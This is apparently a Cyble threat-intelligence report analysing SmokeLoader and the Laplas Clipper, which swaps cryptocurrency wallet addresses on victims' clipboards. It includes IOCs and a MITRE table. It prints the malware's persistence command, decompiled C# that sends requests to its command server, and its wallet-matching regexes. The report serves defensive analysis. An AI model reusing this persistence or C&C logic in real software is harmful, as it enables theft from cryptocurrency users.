

Cyble - New Laplas Clipper Distributed Via SmokeLoader

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
Cyble Research & Intelligence Labs analyses How Laplas Clipper Distributed via SmokeLoader targeting Cryptocurrency Users.

Spiking Clipper Infection Targeting Cryptocurrency Users

Cyble Research and Intelligence Labs (CRIL) has continuously monitored malware campaigns that distribute different malware families, such as stealer, clipper, and ransomware.

Recently, CRIL observed a malware strain known as SmokeLoader, which carries popular malware family samples such as SystemBC and Raccoon Stealer 2.0, along with a new clipper malware dubbed Laplas Clipper that targets cryptocurrency users.

World's Best AI-Native Threat Intelligence



Through our research, we have identified more than 180 different samples related to the clipper malware in the last two weeks, indicating that the malware has been widely deployed in recent weeks. Our intelligence indicates that the incidents of Laplas Clipper infection are on the rise, as shown below.





Figure 1 – Rise of Laplas Clipper [malware](#)

SmokeLoader

SmokeLoader is primarily a loader; its intended purpose is to download and load other malware into the victim's system.

Generally, the SmokeLoader is either distributed via malicious documents such as Word/PDF documents, sent through spam emails, or targeted spear-phishing attacks.

Upon execution of SmokeLoader, it injects malicious code into the "explorer.exe" process and starts its malicious activity. Then, it downloads additional malware from the following URLs.



- hxxp[:]//45.83.122[.]33/admin/wevtutil[.]exe – SystemBC RAT
- hxxp[:]//45.83.122[.]33/admin/Microsoft.AppV.AppVClientWmi[.]exe – RecordBreaker (Raccoon Stealer 2.0)
- hxxp[:]//45.83.122[.]33/admin/avicap32[.]exe – Laplas Clipper

The below figure shows the network information of SmokeLoader downloading additional malware into the victim’s system.

Source	Destination	Protocol	Length	Full request URI	Info
195.178.120.154	195.178.120.154	HTTP	243	http://195.178.120.154/	POST / HTTP/1.1 (application/x-www-form-urlencoded)
195.178.120.154	195.178.120.154	HTTP	71		HTTP/1.1 404 Not Found (text/html)
195.178.120.154	195.178.120.154	HTTP	420	http://195.178.120.154/	POST / HTTP/1.1 (application/x-www-form-urlencoded)
195.178.120.154	195.178.120.154	HTTP	256		HTTP/1.1 200 OK
195.178.120.154	195.178.120.154	HTTP	389	http://195.178.120.154/	POST / HTTP/1.1 (application/x-www-form-urlencoded)
195.178.120.154	45.83.122.33	HTTP	236	http://45.83.122.33/Microsoft.AppV.AppVClientWmi.exe	GET /Microsoft.AppV.AppVClientWmi.exe HTTP/1.1
195.178.120.154	195.178.120.154	HTTP	267	http://195.178.120.154/	POST / HTTP/1.1 (application/x-www-form-urlencoded)
195.178.120.154	195.178.120.154	HTTP	668		HTTP/1.1 404 Not Found (text/html)
195.178.120.154	195.178.120.154	HTTP	291	http://195.178.120.154/	POST / HTTP/1.1 (application/x-www-form-urlencoded)
195.178.120.154	45.83.122.33	HTTP	216	http://45.83.122.33/wevtutil.exe	GET /wevtutil.exe HTTP/1.1
195.178.120.154	195.178.120.154	HTTP	283		HTTP/1.1 200 OK
195.178.120.154	195.178.120.154	HTTP	251	http://195.178.120.154/	POST / HTTP/1.1 (application/x-www-form-urlencoded)
195.178.120.154	195.178.120.154	HTTP	668		HTTP/1.1 404 Not Found (text/html)
195.178.120.154	195.178.120.154	HTTP	256	http://195.178.120.154/	POST / HTTP/1.1 (application/x-www-form-urlencoded)
195.178.120.154	45.83.122.33	HTTP	300	http://45.83.122.33/avicap32.exe	GET /avicap32.exe HTTP/1.1
195.178.120.154	195.178.120.154	HTTP	389	http://195.178.120.154/	POST / HTTP/1.1 (application/x-www-form-urlencoded)
195.178.120.154	195.178.120.154	HTTP	669		HTTP/1.1 404 Not Found (text/html)

Figure 2 – Smoke Loader downloads additional malware

SystemBC

[SystemBC](#) is a Proxy and Remote Administrative Tool (RAT) first seen in 2019. Various [Threat Actors](#) (TAs) have used this Proxy malware for the last few years. While it was recently distributed via SmokeLoader, this malware has increasingly been used in various [ransomware attacks](#) in the past.

After successful infection, the TAs can control the victim’s machine to perform malicious activities such as stealing Windows usernames, volume serial numbers, downloading additional payloads, etc. It also acts as Proxy Bot, allowing the TAs to hide the IP when performing malicious activity.

RecordBreaker (Raccoon Stealer 2.0)

In June 2022, a new edition of the Raccoon Stealer was discovered in the wild by [security researchers](#). Initially, the malware was named “Recordbreaker” but was later identified as a revived version of Raccoon stealer.

Raccoon Stealer is a type of malware that steals various data such as stored browser credentials and information, credit cards, cryptocurrency wallets, email data, and several other types of [sensitive data](#) from different applications from a victim’s computer.

The operator of Raccoon Stealer “Mark Sokolovsky” had been arrested in March by Dutch authorities and was charged for his suspected role in conspiring to operate the Infostealer as a malware-as-a-service. While Dutch authorities arrested the suspect, the FBI and [law enforcement](#) partners in the Netherlands and Italy dismantled Raccoon Infostealer’s infrastructure and took down the malware’s existing version offline. The FBI has set up a website where people can verify whether they may have been a victim of a Raccoon attack: raccoon.ic3.gov

Laplas Clipper

Clipper is a family of malicious programs that targets cryptocurrency users. This malware hijacks a cryptocurrency transaction by swapping a victim’s wallet address with the wallet address owned by TAs. When a user tries to make a payment from their cryptocurrency account, it redirects the transaction to TAs account instead of their original recipient. Clipper malware performs this swap by monitoring the clipboard of the victim’s system, where copied data is stored. Whenever the user copies data, the clipper verifies if the clipboard data contains any [cryptocurrency wallet](#) addresses. If found, the malware replaces it with the TAs wallet address, resulting in the victim’s financial loss.

Laplas is new clipper malware that generates a wallet address similar to the victim’s wallet address. The victim will not notice the difference in the address, which significantly increases the chances of successful clipper activity.

The figure below shows the TA’s Laplas Clipper advertisement on a cybercrime forum with feature details.




Figure 3 – Laplas Clipper advertisement used by TA on the [dark web](#) forum

The clipper can support wallets such as Bitcoin, Ethereum, Bitcoin Cash, Litecoin, Dogecoin, Monero, Ripple, ZCash, Dash, Ronin, Tron, and Steam Trade URL. The Laplas Clipper is priced as shown below:

- \$29 / 1 Sunday
- \$59 / 1 month
- \$159 / 3 months
- \$299 / 6 months
- \$549 / 1 year

In this report, Cyble Research and Intelligence Labs (CRIL) conducts a deep analysis of the new Laplas Clipper malware to understand its behavior and capability.

Technical Details

The clipper sample Sha256: *e5bc55ce98909742d2f1353b3bc8749ecc71206a5b8fa2e656d2a3ae186c1e63* was taken for analysis. The sample is compiled using VB.NET and protected by VMProtect.




Figure 4 – Static File Information

Upon execution, the malware loaded a new module named "build.exe" in memory which performs the clipper activities. Initially, the module ("build.exe") creates a mutex to ensure that only one instance of malware runs on the victim's system at any given time. The below figure shows the new module loaded in memory and mutex creation in the main function.




Figure 5 – New Clipper module loaded in memory and mutex creation

After that, the clipper creates a copy of itself into %appdata% location and adds task scheduler entry for persistence (executes every 1 min for a duration of 416 days) by using the following command line:

- `cmd.exe /C schtasks /create /tn \{0\} /tr \{1\} /st 00:00 /du 9999:59 /sc once /ri 1 /f`




Figure 6 – Task scheduler entry

Then, the malware initially downloads the regex pattern, monitors the user’s clipboard activity, and validates if the clipboard contains any cryptocurrency address using the downloaded regex pattern. If the clipper identifies any wallet address in the clipboard data, then it downloads a similar TA’s wallet address to the remote server by using the following functions:

- `GetRegEx()`
- `SetOnline()`
- `GetAddress()`

GetRegEx():

The malware uses `GetRegEx()` function to get all the regex patterns from the C&C server. This function calls `SendRequest()` function internally, which forms the below URL that downloads the regex pattern to identify the victim’s cryptocurrency wallet address.

- `“hxxp[:]//clipper[.]guru/bot/regex?key=afc950a4a18fd71c9d7be4c460e4cb77d0bcf29a49d097e4e739c17c332c3a34”`

The below figure shows the code snippet used to get the regex pattern from the remote server.




Figure 7 – Regex pattern downloaded from C&C server

The below table shows the details of [targeted cryptocurrencies](#) and their regular expressions.

Crypto Currencies	Regular Expression
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Bitcoin (BTC)	(?:(1[a-zA-HJ-NP-Z1-9]{25,59}) (3[a-zA-HJ-NP-Z0-9]{25,59}) (bc1[a-zA-HJ-NP-Z0-9]{25,59}))
Bitcoin Cash (BCH)	(1[a-km-zA-HJ-NP-Z1-9]{25,34}) (3[a-km-zA-HJ-NP-Z1-9]{25,34}) (q[a-z0-9]{41}) (p[a-z0-9]{41})
Litecoin (LTC)	(L[a-km-zA-HJ-NP-Z1-9]{26,33}) (M[a-km-zA-HJ-NP-Z1-9]{26,33}) (3[a-km-zA-HJ-NP-Z1-9]{26,33}) (ltc1q[a-km-zA-HJ-NP-Z1-9]{26,33})
Ethereum (ETH)	(0x[a-fA-F0-9]{40})
Dogecoin (DOGE)	(D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32})
Monero (XMR)	(4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}) (8[0-9AB][1-9A-HJ-NP-Za-km-z]{93})
Ripple (XRP)	(r[0-9a-zA-Z]{24,34})
Zcash (ZEC)	(t1[a-km-zA-HJ-NP-Z1-9]{33})
Dash (DASH)	(X[1-9A-HJ-NP-Za-km-z]{33})
Ronin (RON)	(ronin:[a-fA-F0-9]{40})
Tron (TRX)	(T[A-Za-z1-9]{33})
Steam Trade URL	(http[s]*:\Vsteamcommunity.com\tradeoffer\new\?partner=((0-9)+)&token=((a-zA-Z0-9)+))
Tezos (XTZ)	(tz[1-3][1-9A-HJ-NP-Za-km-z]{33})
Cardano (ADA)	(addr1[a-z0-9]{+})
Cosmos (ATOM)	(cosmos1[a-z0-9]{38})
Qtum (QTUM)	(Q[a-zA-Z0-9]{+})

SetOnline():

The malware calls the *SetOnline()* function and confirms the victim is online by connecting to the below URL, which contains the system guide and API key.

- “hxxp[:]//clipper[.]guru/bot/online?guid=DESKTOP-[Redacted]&key=afc950a4a18fd71c9d7be4c460e4cb77d0bcf29a49d097e4e739c17c332c3a34”

GetAddress():

The malware uses the *GetAddress()* function, which forms the below URL with the victim’s wallet address and API key. The malware then connects to the formed URL to download similar TAs cryptocurrency wallet addresses from the remote server.

- “hxxp[:]//clipper[.]guru/bot/get?address=0x5B28638188D7D9be3cAfe4EB72D978a909a70466&key=afc950a4a18fd71c9d7be4c460e4cb77d0bcf29a49d097e4e739c17c332c3a34”

The below figure shows the code snippet used to get the TAs wallet address from the server.

```

public static string GetAddress(string address)
{
    return Api.SendRequest("get", new Dictionary<string, string>
    {
        {
            "address",
            address
        }
    });
}

private static string SendRequest(string method, Dictionary<string, string> parameters)
{
    string result;
    using (WebClient webClient = new WebClient())
    {
        parameters.Add("key", Config.ApiKey);
        string address = string.Format("http://{0}/bot/{1}?{2}", Config.Domain, method, string.Join("& ", from parameter in parameters
        select string.Format("{0}={1}", parameter.Key, Uri.EscapeDataString(parameter.Value))));
        string text = webClient.DownloadString(address);
        result = (((text == "error") ? text : null));
    }
    return result;
}
    
```

Figure 8 – TAs wallet address download from server

After downloading the TAs wallet address, the clipper replaces it with the victim’s wallet address using the `Clipboard.SetText()` method as shown below.




Figure 9 – Replacing Clipboard value with TA's wallet address

The clipper actively monitors the victim’s clipboard activity and replaces the wallet address whenever it identifies if the victim tries to copy any wallet addresses for performing cryptocurrency transactions. This results in redirecting the transaction to TAs wallet address.

Laplas Clipper Web Panel:

Here are some screenshots that showcase the web panel of the Laplas Clipper.

The login page of Laplas Clipper is shown below.




Figure 10 – Laplas Clipper C&C panel login page

The figure below shows the Dashboard page of the Laplas clipper web panel from TAs telegram channel, which demonstrates the status of infected computers and active TAs wallet address details.

Tactic	Technique ID	Technique Name
Execution	T1204 T1203	User Execution Exploitation for Client Execution
Persistence	T1053	Scheduled Task/Job
Privilege Escalation	T1055 T1574	Process Injection DLL Side-Loading
Defense Evasion	T1027 T1562 T1497 T1036 T1070 T1564	Software Packing Disable or Modify Tools Virtualization/Sandbox Evasion Masquerading File Deletion Hidden Files and Directories
Discovery	T1057 T1082 T1518	Process Discovery System Information Discovery Security Software Discovery
Command and Control	T1071 T1105 T1571	Application Layer Protocol Ingress Tool Transfer Non-Standard Port

Indicators of Compromise (IOCs)

Indicators
825a7c6d1b4adfe2b1cc7b29199f5033 1edcdc6899fe0aad0b953dee9f3660da0e052699 f4a57ad535ec4b0c7c1b3bfd9a116e451a392ee3f1e5e8b7a5ee0b05141208cc
457c9934ea081a6594d8f630ef5a9460 ef0692e35a6d55aff3814ebe4e40fc231a24873e 19b7183a3eed215c98ce35ac4168917345ef97c104b0c5a7ea43919f094a3bc3
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hxxp[:]//45.83.122[.]33/admin/wevtutil[.]exe
hxxp[:]//45.83.122[.]33/admin/Microsoft.AppV.AppVClientWmif[.]exe
hxxp[:]//45.83.122[.]33/admin/avicap32[.]exe
hxxp[:]//clipper[.]guru/bot/get? address=0x5B28638188D7D9be3cAfE4EB72D978a909a70466&key=afc950a4a18fd71c9d7be4c460e4cb77d0bcf29a49d097e4e739c17c332c3a
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